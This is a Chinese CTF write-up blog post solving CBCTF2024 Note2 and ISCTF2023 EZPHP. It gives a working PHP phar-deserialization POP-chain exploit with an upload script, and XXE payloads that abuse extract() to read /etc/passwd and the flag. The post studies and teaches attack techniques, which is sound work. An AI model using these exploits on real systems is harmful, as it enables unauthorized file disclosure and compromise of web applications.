最近一直在搭博客,学一些新的东西,很久没有做题了… 来简单总结一下之前做过的各类典型题目
phar反序列化(CBCTF2024_Note2)


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| <?php
class notes{ function __construct($filepath){ readfile($filepath); } }
class _0rays{ public $jbn; public $pankas; function __wakeup(){ if(call_user_func($this -> jbn)){ throw new Exception($this -> pankas); }else{ echo "ha?"; } } }
class lets{ public static $yolbby = "nonono"; public $mak4r1; public $ech0; public $rocket; public $errmis; function __toString(){ $humb1e = md5($this -> mak4r1); $k0rian = substr($humb1e,-4,-1); $this -> rocket -> dbg = $k0rian; return "O.o?"; } function __set($a, $b){ self::$yolbby = $b; $int_barbituric = $this -> ech0 -> gtg;
}
function __invoke(){ new notes($this -> errmis); }
}
class go{ public $ed_xinhu;
function __get($c){ if(lets::$yolbby === "666"){ $dilvey = $this -> ed_xinhu; return $dilvey(); }else{ echo "you are going to win !"; } }
}
function check($filePath) { if(!file_exists($filePath)){ return false; } $realPath = realpath($filePath); if (strpos($realPath, '/notes') === 0 ) { return true; } return false; }
function listnote() { $directory = '/notes'; $files = array_filter(scandir($directory), function ($file) use ($directory) { return is_file("$directory/$file"); }); foreach ($files as $f) { $link = '<a href="/index.php?note=/notes/' . htmlspecialchars($f) . '">' . htmlspecialchars($f) . '</a> <p></p>'; echo $link; } echo '<a href="/index.php?note=show-me-source">show source</a>'; }
if ($_SERVER['REQUEST_METHOD'] === 'POST') { $file = $_FILES['user_note'] ?? null; if ($file && strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)) === 'txt') { $randomFileName = uniqid() . '.txt'; $targetFilePath = "/notes/" . $randomFileName; if (move_uploaded_file($file['tmp_name'], $targetFilePath)) { echo "Your note successfully saved in :".$targetFilePath; exit; } } die("error"); }
$note = @$_GET['note']; if($note){ if($note === "show-me-source"){ highlight_file(__FILE__); }else{ if(check($note)){ header('Content-Type: text/plain; charset=UTF-8'); new notes($note); }else{ die("hacker..."); } } }else{ echo "<h1>这里是mak自己悄悄留给你的一些笔记哦,打开看看吧</h1>"; echo "<h2>Notes List:<h2>"; listnote(); }
|
附一份我之前做题的wp:
先分析代码可以看到大致分两部分
前面一部分重点通过readfile()读取文件 后半部分打phar包文件上传
pop链:
1
| __wakeup()->__toString()->__set()->__get()->__invoke()
|
先写一个脚本爆破出$mak4r1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import random import hashlib value = "666" while 1: plainText = random.randint(10**11, 10**12 - 1) plainText = str(plainText) MD5 = hashlib.md5() MD5.update(plainText.encode(encoding='utf-8')) cipherText = MD5.hexdigest() if cipherText[-4:-1]==value : print("碰撞成功:") print("密文为:"+cipherText) print("明文为:"+plainText) break else: print("碰撞中.....")
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| <?php class notes { function __construct($filepath) { readfile($filepath); } } class _0rays { public $jbn; public $pankas; function __wakeup() { if (call_user_func($this->jbn)) { print ('no'); throw new Exception($this->pankas); } else { echo "ha?"; } } } class lets { public static $yolbby = "nonono"; public $mak4r1 = "616421075056"; public $ech0; public $rocket; public $errmis; function __toString() //【2】 { $humb1e = md5($this->mak4r1); $k0rian = substr($humb1e, -4, -1); $this->rocket->dbg = $k0rian; return "O.o?"; } function __set($a, $b) //【3】 { self::$yolbby = $b; $int_barbituric = $this->ech0->gtg; } function __invoke() { print ('invoke'); new notes($this->errmis); } } class go { public $ed_xinhu; function __get($c) //【4】 { if (lets::$yolbby === "666") { $dilvey = $this->ed_xinhu; print ('get'); return $dilvey(); } else { echo "you are going to win !"; echo lets::$yolbby; } } } $_0rays = new _0rays(); $go = new go(); $lets1 = new lets(); $lets2 = new lets(); $lets3 = new lets();
$lets3->errmis = '/flag'; $go->ed_xinhu = $lets3; $lets2->ech0 = $go; $lets1->mak4r1 = "616421075056"; $lets1->rocket = $lets2; $_0rays->pankas = "error"; $_0rays->jbn = array($lets1, '__toString');
$phar = new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'test'); $phar->setMetadata($_0rays); $phar->stopBuffering();
|
上传文件的脚本:
1 2 3 4 5 6 7
| import requests url = "http://dfb81bd1-59cc-4645-bdc9-a220d7823c6c.training.0rays.club:8001/" file_path ="D:\\phpstudy_pro\\test.txt" file_content = open(file_path, 'rb') files = {'user_note': file_content} response = requests.post(url, files=files) print(response.text)
|
利用phar://伪协议访问上传的文件:

XXE(ISCTF2023_EZPHP)
解析
register.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php include "utils/function.php"; $config = include "utils/config.php"; $user_xml_format = "<?xml version='1.0'?> <userinfo> <user> <username>%s</username> <password>%s</password> </user> </userinfo>"; extract($_REQUEST); if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");
if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD"); $user_xml = sprintf($user_xml_format, $username, $password);
register_user($username, $config['user_info_dir'], $user_xml);
|
发现有extract()
变量替换和XXE注入
所有的变量均可以根据我们的需求进行修改
user_xml
为格式化后的username
和password
跟进register_user()
function.php:
1 2 3 4 5
| function register_user($username, $user_info_dir, $user_xml){ $user_dir_name = $user_info_dir.$username; mkdir($user_dir_name, 0777); file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml); }
|
register_user()
-> 注册一个用户就会创建一个$user_info_dir.$username的目录并创建一个$username.xml文件把格式化后的username
和password
写入
config.php:
1 2 3 4 5
| <?php libxml_disable_entity_loader(false); return array( "user_info_dir" => "/tmp/users/" );
|
$user_info_dir
为/tmp/users/
, 我们可以通过变量替换将目录替换成 /var/www/html
这样注册用户的部分就可以理解为创建了一个/var/www/html/username/username.xml文件,里面有格式化的username
和password
的信息
下面分析登录的部分:
login.php:
1 2 3 4 5 6 7 8 9 10
| <?php include "utils/function.php"; $config = include "utils/config.php"; $username = $_REQUEST['username']; $password = $_REQUEST['password']; if(empty($username)||empty($password)) die("Username or password cannot be empty XD"); if(!is_user_exists($username, $config["user_info_dir"])) die("Username error"); $user_record = get_user_record($username, $config['user_info_dir']); if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username); header("Location:main.html");
|
跟进get_user_record()
function.php:
1 2 3 4 5 6 7
| function get_user_record($username, $user_info_dir) { $user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml'); $dom = new DOMDocument(); $dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD); return simplexml_import_dom($dom); }
|
可以理解为将之前的xml文件中的username
和password
解析出来,如果输入的密码与这个用户所对应的密码不一致,则会die出用户名(这里输出的用户名是xml模板解析后的用户名而不是我们注册的用户名->所以对应的密码也是xxe模板中的密码)
思路
通过上面的分析,我们可以想到利用输入错误的密码来返回xxe中读取的内容
wp
先注册一个username=111
&password=111
的用户


访问成功,并查看到了题目给的xml的格式

利用extract
,把$user_xml_format
覆盖成xxe的payload
覆盖$user_xml_format
而不是user_xml
是因为user_xml_format
是xml模板,最终写入文件,而$user_xml
是最终xml的内容
payload:
1 2 3 4 5 6 7 8
| 127.0.0.1:8080/register.php?username=999&password=999& user_xml_format=<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <userinfo> <user> <username>&xxe;</username> <password>123</password> </user> </userinfo>
|
有回显,注入成功

直接url传的话需要编码!!
payload:
1 2 3 4 5 6 7 8
| http://gz.imxbt.cn:20715/register.php?username=777&password=777& user_xml_format=<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///../../../../flag" > ]> <userinfo> <user> <username>%26xxe;</username> <password>123</password> </user> </userinfo>
|
利用%26代替& 因为&会被当作实体引用的开始标志
输入username=777 且密码不为123
成功读到flag